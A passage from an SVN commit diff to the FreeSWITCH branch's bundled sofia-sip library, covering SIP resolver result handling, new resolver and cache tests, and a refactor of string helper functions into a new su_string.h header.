+  else if (host_is_ip6_reference(target)) {
+    size_t len = strlen(target) - 2;
+
+    ai->ai_addr = memset(su, 0, ai->ai_addrlen = (sizeof su->su_sin6));
+    su->su_len = (sizeof su->su_sin6);
+
+    if (len >= sizeof buffer ||
+	!memcpy(buffer, target + 1, len) ||
+	(buffer[len] = 0) ||
+	su_inet_pton(su->su_family = ai->ai_family = AF_INET6,
+		     buffer, &su->su_sin6.sin6_addr) <= 0) {
+      srs->srs_error = SRES_SIP_ERR_BAD_URI;
+      return;
+    }
+
+    target = buffer;
+  }
+#endif
+  else {
+    srs->srs_error = SRES_SIP_ERR_BAD_URI;
+    return;
+  }
+
+  ai->ai_canonname = (char *)target;
+
+  for (i = 1; srs->srs_hints[i].hint_stp; i++) {
+    struct srs_hint const *hint = srs->srs_hints + i;
+
+    /* Consider only transport from uri parameter */
+    if (!srs->srs_transport &&
+	/* ...or default transports for this URI type */
+	hint->hint_stp->stp_type != srs->srs_url->url_type)
+      continue;
+
+#if SU_HAVE_IN6
+    if (ai->ai_family == AF_INET6 &&
+	srs->srs_hints[i].hint_qtype != sres_type_aaaa)
+      continue;
+#endif
+    ai->ai_protocol = srs->srs_hints[i].hint_stp->stp_number;
+    sres_sip_append_result(srs, ai);
+  }
+}
+
+/** Store A/AAAA query result */
+static void
+sres_sip_append_result(sres_sip_t *srs,
+		       su_addrinfo_t const *result)
+{
+  su_addrinfo_t *ai, **tail;
+  int duplicate = 0;
+  char const *canonname = result->ai_canonname;
+  char numeric[64];
+  size_t clen = 0;
+
+  for (ai = srs->srs_results; ai && !duplicate; ai = ai->ai_next) {
+    duplicate =
+      ai->ai_family == result->ai_family &&
+      ai->ai_protocol == result->ai_protocol &&
+      ai->ai_addrlen == result->ai_addrlen &&
+      !memcmp(ai->ai_addr, result->ai_addr, result->ai_addrlen);
+    /* Note - different canonnames are not considered */
+    if (duplicate)
+      break;
+  }
+
+  if ((srs->srs_canonname && srs->srs_numeric) || (SU_LOG->log_level >= 0)) {
+    unsigned port = 0;
+    char const *lb = "", *rb = "";
+
+    if (result->ai_family == AF_INET) {
+      struct sockaddr_in const *sin = (struct sockaddr_in *)result->ai_addr;
+      su_inet_ntop(AF_INET, &sin->sin_addr, numeric, sizeof numeric);
+      port = ntohs(sin->sin_port);
+    }
+#if SU_HAVE_IN6
+    else if (result->ai_family == AF_INET6) {
+      struct sockaddr_in6 const *sin6 = (struct sockaddr_in6 *)result->ai_addr;
+      su_inet_ntop(AF_INET6, &sin6->sin6_addr, numeric, (sizeof numeric));
+      port = ntohs(sin6->sin6_port);
+      lb = "[", rb = "]";
+    }
+#endif
+    else {
+      strcpy(numeric, "UNKNOWN");
+    }
+
+    SU_DEBUG_5(("srs(%p): %s result %s%s%s:%u;transport=%s\n",
+		srs, duplicate ? "duplicate" : "returning",
+		lb , numeric, rb, port,
+		sres_sip_transport_name(result->ai_protocol)));
+
+    if (srs->srs_numeric)
+      canonname = numeric;
+  }
+
+  if (duplicate)
+    return;
+
+  if (!srs->srs_canonname)
+    canonname = NULL;
+  if (canonname) {
+    clen = strlen(canonname);
+    if (clen && canonname[clen - 1] == '.')
+      /* Do not include final dot in canonname */;
+    else
+      clen++;
+  }
+
+  ai = su_zalloc(srs->srs_home, (sizeof *ai) + result->ai_addrlen + clen);
+
+  if (ai == NULL)
+    return;
+
+  *ai = *result;
+  ai->ai_next = NULL;
+  ai->ai_addr = memcpy(ai + 1, ai->ai_addr, ai->ai_addrlen);
+  if (canonname) {
+    ai->ai_canonname = (char *)(ai->ai_addr) + ai->ai_addrlen;
+    memcpy(ai->ai_canonname, canonname, clen - 1);
+    ai->ai_canonname[clen - 1] = '\0';
+  }
+  else {
+    ai->ai_canonname = NULL;
+  }
+
+  for (tail = srs->srs_next; *tail; tail = &(*tail)->ai_next)
+    ;
+
+  *tail = ai;
+
+  srs->srs_error = 0;
+}

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/test_sresolv.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/test_sresolv.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/test_sresolv.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -90,6 +90,10 @@
 #include <signal.h>
 #endif
 
+#include <sofia-sip/su_log.h>
+
+extern su_log_t sresolv_log[];
+
 char const name[] = "test_sresolv";
 
 struct sres_context_s
@@ -982,24 +986,71 @@
 int test_cname(sres_context_t *ctx)
 {
   sres_resolver_t *res = ctx->resolver;
-  sres_record_t **result;
-  const sres_cname_record_t *rr;
+  sres_record_t **result, *sr;
+  const sres_cname_record_t *cn;
   char const *domain = "sip.example.com";
 
   BEGIN();
 
+  TEST_1(sres_query(res, test_answer, ctx, sres_type_naptr, domain));
+  TEST_RUN(ctx);
+
+  TEST_1(result = ctx->result);
+  TEST_1(sr = result[0]);
+  TEST_1(sr->sr_record->r_status == SRES_RECORD_ERR);
+
+  sres_free_answers(res, ctx->result), ctx->result = NULL;
+
+  TEST_1(result = sres_cached_answers(res, sres_type_naptr, domain));
+  TEST_1(sr = result[0]);
+  TEST_1(sr->sr_record->r_status == SRES_RECORD_ERR);
+
+  sres_free_answers(res, result), ctx->result = NULL;
+
+  TEST_1(result = sres_cached_answers(res, sres_qtype_any, domain));
+  TEST_1(cn = result[0]->sr_cname);
+  TEST(cn->cn_record->r_class, sres_class_in);
+  TEST(cn->cn_record->r_type, sres_type_cname);
+  TEST(cn->cn_record->r_ttl, 60);
+  TEST_S(cn->cn_cname, "sip00.example.com.");
+  /* We might have A record, or then not */
+
+  sres_free_answers(res, result), ctx->result = NULL;
+
   TEST_1(sres_query(res, test_answer, ctx, sres_type_a, domain));
   TEST_RUN(ctx);
 
   TEST_1(result = ctx->result);
-  TEST_1(rr = result[0]->sr_cname);
-  TEST(rr->cn_record->r_class, sres_class_in);
-  TEST(rr->cn_record->r_type, sres_type_cname);
-  TEST(rr->cn_record->r_ttl, 60);
-  TEST_S(rr->cn_cname, "sip00.example.com.");
+  TEST_1(sr = result[0]);
+  TEST(sr->sr_record->r_class, sres_class_in);
+  TEST(sr->sr_record->r_type, sres_type_a);
 
   sres_free_answers(res, ctx->result), ctx->result = NULL;
 
+  TEST_1(result = sres_cached_answers(res, sres_type_a, domain));
+  TEST_1(sr = result[0]);
+  TEST(sr->sr_record->r_class, sres_class_in);
+  TEST(sr->sr_record->r_type, sres_type_a);
+
+  sres_free_answers(res, result);
+
+  domain = "cloop.example.com";
+
+  TEST_1(sres_query(res, test_answer, ctx, sres_type_a, domain));
+  TEST_RUN(ctx);
+
+  TEST_1(result = ctx->result);
+  TEST_1(sr = result[0]);
+  TEST_1(sr->sr_record->r_status == SRES_RECORD_ERR);
+
+  sres_free_answers(res, ctx->result), ctx->result = NULL;
+
+  TEST_1(result = sres_cached_answers(res, sres_type_a, domain));
+  TEST_1(sr = result[0]);
+  TEST_1(sr->sr_record->r_status == SRES_RECORD_ERR);
+
+  sres_free_answers(res, result);
+
   END();
 }
 
@@ -1892,10 +1943,6 @@
   exit(exitcode);
 }
 
-#include <sofia-sip/su_log.h>
-
-extern su_log_t sresolv_log[];
-
 int main(int argc, char **argv)
 {
   int i;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/torture_sresolv.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/torture_sresolv.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/torture_sresolv.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -234,6 +234,7 @@
   BEGIN();
 
   sres_a_record_t *a, a0[1], **all;
+  sres_record_t **copy;
   char host[128];
   sres_cache_t *cache;
   time_t now, base;
@@ -292,6 +293,11 @@
   for (i = 0, N; i < N; i++)
     TEST(all[i]->a_record->r_refcount, 2);
 
+  TEST_1(copy = sres_cache_copy_answers(cache, (sres_record_t **)all));
+
+  for (i = 0, N; i < N; i++)
+    TEST(all[i]->a_record->r_refcount, 3);
+
   clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &t0);
 
   for (now = base; now <= base + 3660; now += 30)
@@ -307,6 +313,11 @@
   }
 
   for (i = 0, N; i < N; i++)
+    TEST(all[i]->a_record->r_refcount, 2);
+
+  sres_cache_free_answers(cache, copy), copy = NULL;
+
+  for (i = 0, N; i < N; i++)
     TEST(all[i]->a_record->r_refcount, 1);
 
   base += 24 * 3600;

Property changes: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su


Name: svn:ignore
   - Makefile.in
addrinfo
localinfo
su_tag_ref.c
.deps
Makefile
.libs
Doxyfile
   + Makefile.in
addrinfo
localinfo
su_tag_ref.c
.deps
Makefile
.libs
Doxyfile
su_tag_dll.c

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -54,7 +54,7 @@
 			sofia-sip/su_config.h sofia-sip/su_md5.h \
 			sofia-sip/su_uniqueid.h sofia-sip/su_bm.h \
 			sofia-sip/tstdef.h sofia-sip/su_os_nw.h \
-			sofia-sip/string0.h \
+			sofia-sip/su_string.h sofia-sip/string0.h \
 			$(OSXHEADERS)
 
 nobase_nodist_include_sofia_HEADERS = sofia-sip/su_configure.h
@@ -73,11 +73,12 @@
 	su_os_nw.c \
 	su_taglist.c su_tag.c su_tag_io.c \
 	su_log.c su_global_log.c su_default_log.c su_module_debug.h \
-	su_md5.c su_uniqueid.c su_bm.c smoothsort.c string0.c $(OSXSOURCES)
+	su_md5.c su_uniqueid.c su_bm.c smoothsort.c su_string.c string0.c \
+	$(OSXSOURCES)
 
 
 EXTRA_libsu_la_SOURCES = \
-			memmem.c strtoull.c strcasestr.c \
+			memmem.c strtoull.c \
 			memspn.c memcspn.c memccpy.c \
 			inet_ntop.c inet_pton.c poll.c getopt.c \
 			su_tag_ref.c

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/inet_ntop.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/inet_ntop.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/inet_ntop.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -44,6 +44,22 @@
  * author:
  *	Paul Vixie, 1996.
  */
+
+/** inet_ntop() replacement.
+ *
+ * Convert a network format address to presentation format.
+ *
+ * @param af[in] address family
+ * @param src[in] network address to convert
+ * @param dst[out] return-value string
+ * @param size[in] maximum lenght of @a dst string
+ *
+ * @return Pointer to presentation format address (`dst'), or NULL (see errno).
+ *
+ * @author Paul Vixie, 1996.
+ *
+ * @NEW_1_12_9
+ */
 const char *
 su_inet_ntop(int af, void const *src, char *dst, size_t size)
 {

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/inet_pton.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/inet_pton.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/inet_pton.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -44,6 +44,25 @@
  * author:
  *	Paul Vixie, 1996.
  */
+
+/** inet_pton() replacement.
+ *
+ * Convert from presentation format in @a src (which usually means ASCII printable)
+ * to network format in @a dst (which is usually some kind of binary format).
+ *
+ * @param af[in] address family
+ * @param src[in] string containing address to convert
+ * @param dst[out] return-value network address
+ *                 (struct in_addr or struct in_addr6)
+ *
+ * @retval 1 if the address was valid for the specified address family
+ * @retval 0 if the address wasn't valid (`dst' is untouched in this case)
+ * @retval -1 if some other error occurred (`dst' is untouched in this case, too)
+ *
+ * @author Paul Vixie, 1996.
+ *
+ * @NEW_1_12_9
+ */
 int
 su_inet_pton(int af, const char * src, void * dst)
 {

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/memcspn.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/memcspn.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/memcspn.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -32,50 +32,13 @@
 
 #include "config.h"
 
-#include <string.h>
-#include <limits.h>
+#include <sofia-sip/su_string.h>
 
-/**Search memory for bytes not in a given set.
- *
- * The memcspn() function calculates the length of the memory area @a mem
- * which consists entirely of bytes not in @a reject.
- *
- * @param mem        pointer to memory area
- *\xA0@param memlen     size of @a mem in bytes
- * @param reject     pointer to table containing bytes to reject
- * @param rejectlen  size of @a reject table
- *
- * @return
- * The memspn() function returns the number of bytes in the memory area @a
- * which consists entirely of bytes not in @a reject.
- * @par
- * If @a rejectlen is 0, or @a reject is NULL, it returns @a memlen, size of
- * the memory area.
- */
 size_t memcspn(const void *mem, size_t memlen,
+	       const void *reject, size_t rejectlen);
+
+size_t memcspn(const void *mem, size_t memlen,
 	       const void *reject, size_t rejectlen)
 {
-  size_t i;
-
-  unsigned char const *m = mem, *r = reject;
-
-  char rejected[UCHAR_MAX + 1];
-
-  if (rejectlen == 0 || reject == 0)
-    return memlen;
-
-  if (mem == NULL || memlen == 0)
-    return 0;
-
-  memset(rejected, 0, sizeof rejected);
-
-  for (i = 0; i < rejectlen; i++)
-    rejected[r[i]] = 1;
-
-  for (i = 0; i < memlen; i++)
-    if (rejected[m[i]])
-      break;
-
-  return i;
+  return su_memcspn(mem, memlen, reject, rejectlen);
 }
-

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/memspn.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/memspn.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/memspn.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -34,43 +34,13 @@
 
 #include "config.h"
 
-#include <string.h>
-#include <limits.h>
+#include <sofia-sip/su_string.h>
 
-/**Scan memory for a set of bytes.
- *
- * The memspn() function calculates the length of the memory area @a mem
- * which consists entirely of bytes in @a accept.
- *
- * @param mem        pointer to memory area
- * @param memlen     size of @a mem in bytes
- * @param accept     pointer to table containing bytes to accept
- * @param acceptlen  size of @a accept table
- *
- * @return
- * The memspn() function returns the number of bbytes in the memory area @a
- * which consists entirely of bytes in @a accept.
- */
 size_t memspn(const void *mem, size_t memlen,
+	      const void *accept, size_t acceptlen);
+
+size_t memspn(const void *mem, size_t memlen,
 	      const void *accept, size_t acceptlen)
 {
-  size_t i;
-
-  unsigned char const *m = mem, *a = accept;
-
-  char accepted[UCHAR_MAX + 1];
-
-  if (mem == NULL || memlen == 0 || acceptlen == 0 || accept == NULL)
-    return 0;
-
-  memset(accepted, 0, sizeof accepted);
-
-  for (i = 0; i < acceptlen; i++)
-    accepted[a[i]] = 1;
-
-  for (i = 0; i < memlen; i++)
-    if (!accepted[m[i]])
-      break;
-
-  return i;
+  return su_memspn(mem, memlen, accept, acceptlen);
 }

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/smoothsort.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/smoothsort.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/smoothsort.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -34,7 +34,8 @@
  *
  * @author Pekka Pessi <Pekka.Pessi@nokia.com>
  */
-
+#include <stdlib.h>
+#include <sofia-sip/su_config.h>
 #include "config.h"
 
 #include <sofia-sip/heap.h>
@@ -219,7 +220,11 @@
   stretch s = { 1, 1, 1 };
   size_t q;
 
-  array const array[1] = {{ base, less, swap }};
+  array array_i;
+  array* const array = &array_i;
+  array->less = less;
+  array->swap = swap;
+  array->m = base;
 
   assert(less && swap);
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/heap.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/heap.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/heap.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -310,18 +310,15 @@
   struct prefix##priv *_priv = *(void **)&h; \
   return _priv ? _priv->_used : 0; \
 } \
-scope int prefix##_less(void *h, size_t a, size_t b) \
+static int prefix##_less(void *h, size_t a, size_t b) \
 { \
   type *_heap = h; return less(_heap[a], _heap[b]);	\
 } \
-scope void prefix##_swap(void *h, size_t a, size_t b) \
+static void prefix##_swap(void *h, size_t a, size_t b) \
 { \
   type *_heap = h; type _swap = _heap[a]; \
   set(_heap, a, _heap[b]); set(_heap, b, _swap); \
 } \
-void su_smoothsort(void *base, size_t r0, size_t N,		\
-		   int (*less)(void *base, size_t a, size_t b), \
-		   void (*swap)(void *base, size_t a, size_t b));	\
 scope void prefix##sort(heaptype h) \
 { \
   struct prefix##priv { size_t _size, _used; type _heap[1];}; \
@@ -331,4 +328,14 @@
 } \
 extern int const prefix##dummy_heap
 
+#include <sofia-sip/su_types.h>
+
+SOFIA_BEGIN_DECLS
+
+SOFIAPUBFUN void su_smoothsort(void *base, size_t r0, size_t N,
+			       int (*less)(void *base, size_t a, size_t b),
+			       void (*swap)(void *base, size_t a, size_t b));
+
+SOFIA_END_DECLS
+
 #endif /** !defined(SOFIA_SIP_HEAP_H) */

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/string0.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/string0.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/string0.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,145 +1,47 @@
-/*
- * This file is part of the Sofia-SIP package
- *
- * Copyright (C) 2005 Nokia Corporation.
- *
- * Contact: Pekka Pessi <pekka.pessi@nokia.com>
- *
- * This library is free software; you can redistribute it and/or
- * modify it under the terms of the GNU Lesser General Public License
- * as published by the Free Software Foundation; either version 2.1 of
- * the License, or (at your option) any later version.
- *
- * This library is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * Lesser General Public License for more details.
- *
- * You should have received a copy of the GNU Lesser General Public
- * License along with this library; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
- * 02110-1301 USA
- *
- */
-
 #ifndef STRING0_H
 /** Defined when <sofia-sip/string0.h> is included. */
 #define STRING0_H
 
 /**@file sofia-sip/string0.h
  *
- * @brief Extra string function.
+ * @brief Extra string functions.
  *
  * String comparison functions accepting NULL pointers: str0cmp(),
  * str0ncmp(), str0casecmp(), str0ncasecmp(). Also includes span functions
  * testing at most @a n bytes: strncspn(), strnspn().
+ *
+ * @deprecated Use functions from <sofia-sip/su_string.h> instead.
  */
 
-#ifndef SU_CONFIG_H
-#include <sofia-sip/su_config.h>
-#endif
+#include <sofia-sip/su_string.h>
 
-#include <string.h>
-
-SOFIA_BEGIN_DECLS
-
 su_inline int str0cmp(char const *a, char const *b)
 {
-  if (a == NULL) a = "";
-  if (b == NULL) b = "";
-  return strcmp(a, b);
+  return su_strcmp(a, b);
 }
 
 su_inline int str0ncmp(char const *a, char const *b, size_t n)
 {
-  if (a == NULL) a = "";
-  if (b == NULL) b = "";
-  return strncmp(a, b, n);
+  return su_strncmp(a, b, n);
 }
 
 su_inline int str0casecmp(char const *a, char const *b)
 {
-  if (a == NULL) a = "";
-  if (b == NULL) b = "";
-  return strcasecmp(a, b);
+  return su_strcasecmp(a, b);
 }
 
 su_inline int str0ncasecmp(char const *a, char const *b, size_t n)
 {
-  if (a == NULL) a = "";
-  if (b == NULL) b = "";
-  return strncasecmp(a, b, n);
+  return su_strncasecmp(a, b, n);
 }
 
-#if !SU_HAVE_INLINE
-SOFIAPUBFUN size_t strnspn(char const *s, size_t size, char const *term);
-SOFIAPUBFUN size_t strncspn(char const *s, size_t ssize, char const *reject);
-#else
 su_inline size_t strnspn(char const *s, size_t ssize, char const *term)
 {
-  size_t n;
-  size_t tsize = strlen(term);
-
-  if (tsize == 0) {
-    return 0;
-  }
-  else if (tsize == 1) {
-    char c, t = term[0];
-    for (n = 0; n < ssize && (c = s[n]) && c == t; n++)
-      ;
-  }
-  else if (tsize == 2) {
-    char c, t1 = term[0], t2 = term[1];
-    for (n = 0; n < ssize && (c = s[n]) && (c == t1 || c == t2); n++)
-      ;
-  }
-  else {
-    size_t i;
-    char c, t1 = term[0], t2 = term[1];
-    for (n = 0; n < ssize && (c = s[n]) && (c == t1 || c == t2); n++) {
-      for (i = 2; i < tsize; i++)
-	if (c == term[i])
-	  return n;
-    }
-  }
-
-  return n;
+  return su_strnspn(s, ssize, term);
 }
 
-su_inline size_t strncspn(char const *s, size_t ssize, char const *reject)
+su_inline size_t strncspn(char const *s, size_t ssize, char const *term)
 {
-  size_t n;
-  size_t rsize = strlen(reject);
-
-  if (rsize == 0) {
-    for (n = 0; n < ssize && s[n]; n++)
-      ;
-  }
-  else if (rsize == 1) {
-    char c, rej = reject[0];
-    for (n = 0; n < ssize && (c = s[n]) && c != rej; n++)
-      ;
-  }
-  else if (rsize == 2) {
-    char c, rej1 = reject[0], rej2 = reject[1];
-    for (n = 0; n < ssize && (c = s[n]) && c != rej1 && c != rej2; n++)
-      ;
-  }
-  else {
-    size_t i;
-    char c, rej1 = reject[0], rej2 = reject[1];
-    for (n = 0; n < ssize && (c = s[n]) && c != rej1 && c != rej2; n++) {
-      for (i = 2; i < rsize; i++)
-	if (c == reject[i])
-	  return n;
-    }
-  }
-
-  return n;
+  return su_strncspn(s, ssize, term);
 }
-
 #endif
-
-SOFIA_END_DECLS
-
-#endif /* !STRING0_H */

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -163,11 +163,10 @@
   short               su_dummy;	      /**< Dummy member to initialize */
 #if SU_HAVE_SOCKADDR_SA_LEN
 #define               su_len          su_sa.sa_len
-#define               su_family       su_sa.sa_family
 #else
 #define               su_len          su_array[0]
-  short               su_family;
 #endif
+#define               su_family       su_sa.sa_family
 #define               su_port         su_sin.sin_port
 #endif
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_addrinfo.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_addrinfo.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_addrinfo.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -43,6 +43,10 @@
 #include <sofia-sip/su_types.h>
 #endif
 
+#if SU_HAVE_BSDSOCK
+#include <netdb.h>
+#endif
+
 SOFIA_BEGIN_DECLS
 
 #if !SU_HAVE_ADDRINFO

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_alloc.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_alloc.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_alloc.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -101,6 +101,8 @@
 
 SU_DLL int su_home_has_parent(su_home_t const *home);
 
+SU_DLL su_home_t *su_home_parent(su_home_t const *home);
+
 SU_DLL void su_home_check(su_home_t const *home);
 
 SU_DLL int su_home_check_alloc(su_home_t const *home, void const *data);

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_config.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_config.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_config.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -84,7 +84,7 @@
     #undef SOFIAPUBVAR
     #if defined(IN_LIBSOFIA_SIP_UA)
       #define SOFIAPUBFUN __declspec(dllexport)
-     	#define SOFIAPUBVAR __declspec(dllexport)
+      #define SOFIAPUBVAR __declspec(dllexport) extern
     #else
       #define SOFIAPUBFUN __declspec(dllimport)
       #define SOFIAPUBVAR __declspec(dllimport) extern
@@ -104,7 +104,7 @@
     #undef SOFIAPUBVAR
     #if defined(IN_LIBSOFIA_SIP_UA)
       #define SOFIAPUBFUN __declspec(dllexport)
-     	#define SOFIAPUBVAR __declspec(dllexport) extern
+      #define SOFIAPUBVAR __declspec(dllexport) extern
     #else
       #define SOFIAPUBFUN __declspec(dllimport)
       #define SOFIAPUBVAR __declspec(dllimport)

Copied: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_string.h (from rev 14471, freeswitch/trunk/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_string.h) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_string.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_string.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,86 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2005 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+#ifndef SOFIA_SIP_SU_STRING_H
+/** Defined when <sofia-sip/su_string.h> is included. */
+#define SOFIA_SIP_SU_STRING_H
+
+/**@file sofia-sip/su_string.h
+ *
+ * @brief String functions for Sofia-SIP.
+ *
+ * Various string comparison functions also accepting NULL pointer as empty
+ * string:
+ * - su_strcmp(),
+ * - su_strncmp(),
+ * - su_strcasecmp() (comparison with US-ASCII case folding to lower case),
+ * - su_strncasecmp() (comparison with US-ASCII case folding to lower case)
+ * - su_casematch() (match token with US-ASCII case folding to lower case)
+ * - su_casenmatch() (match token with US-ASCII case folding to lower case)
+ *
+ * Also includes span functions testing at most @a n bytes:
+ * - su_strncspn()
+ * - su_strnspn().
+ */
+
+#ifndef SU_CONFIG_H
+#include <sofia-sip/su_config.h>
+#endif
+
+#include <string.h>
+
+SOFIA_BEGIN_DECLS
+
+su_inline int su_strcmp(char const *a, char const *b)
+{
+  return strcmp(a ? a : "", b ? b : "");
+}
+
+su_inline int su_strncmp(char const *a, char const *b, size_t n)
+{
+  return strncmp(a ? a : "", b ? b : "", n);
+}
+
+SOFIAPUBFUN char *su_strcasestr(const char *haystack, const char *needle);
+
+SOFIAPUBFUN int su_strcasecmp(char const *s1, char const *s2);
+SOFIAPUBFUN int su_strncasecmp(char const *s1, char const *s2, size_t n);
+
+SOFIAPUBFUN int su_strmatch(char const *str, char const *with);
+SOFIAPUBFUN int su_strnmatch(char const *str, char const *with, size_t n);
+
+SOFIAPUBFUN int su_casematch(char const *s1, char const *with);
+SOFIAPUBFUN int su_casenmatch(char const *s1, char const *with, size_t n);
+
+SOFIAPUBFUN size_t su_strnspn(char const *s, size_t size, char const *term);
+SOFIAPUBFUN size_t su_strncspn(char const *s, size_t ssize, char const *reject);
+
+SOFIAPUBFUN size_t su_memspn(const void *mem, size_t memlen,
+			     const void *accept, size_t acceptlen);
+SOFIAPUBFUN size_t su_memcspn(const void *mem, size_t memlen,
+			      const void *reject, size_t rejectlen);
+
+SOFIA_END_DECLS
+
+#endif /* !SOFIA_SIP_SU_STRING_H */

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_tag.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_tag.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/sofia-sip/su_tag.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -148,6 +148,7 @@
 
 /* Low-level taglist manipulation functions */
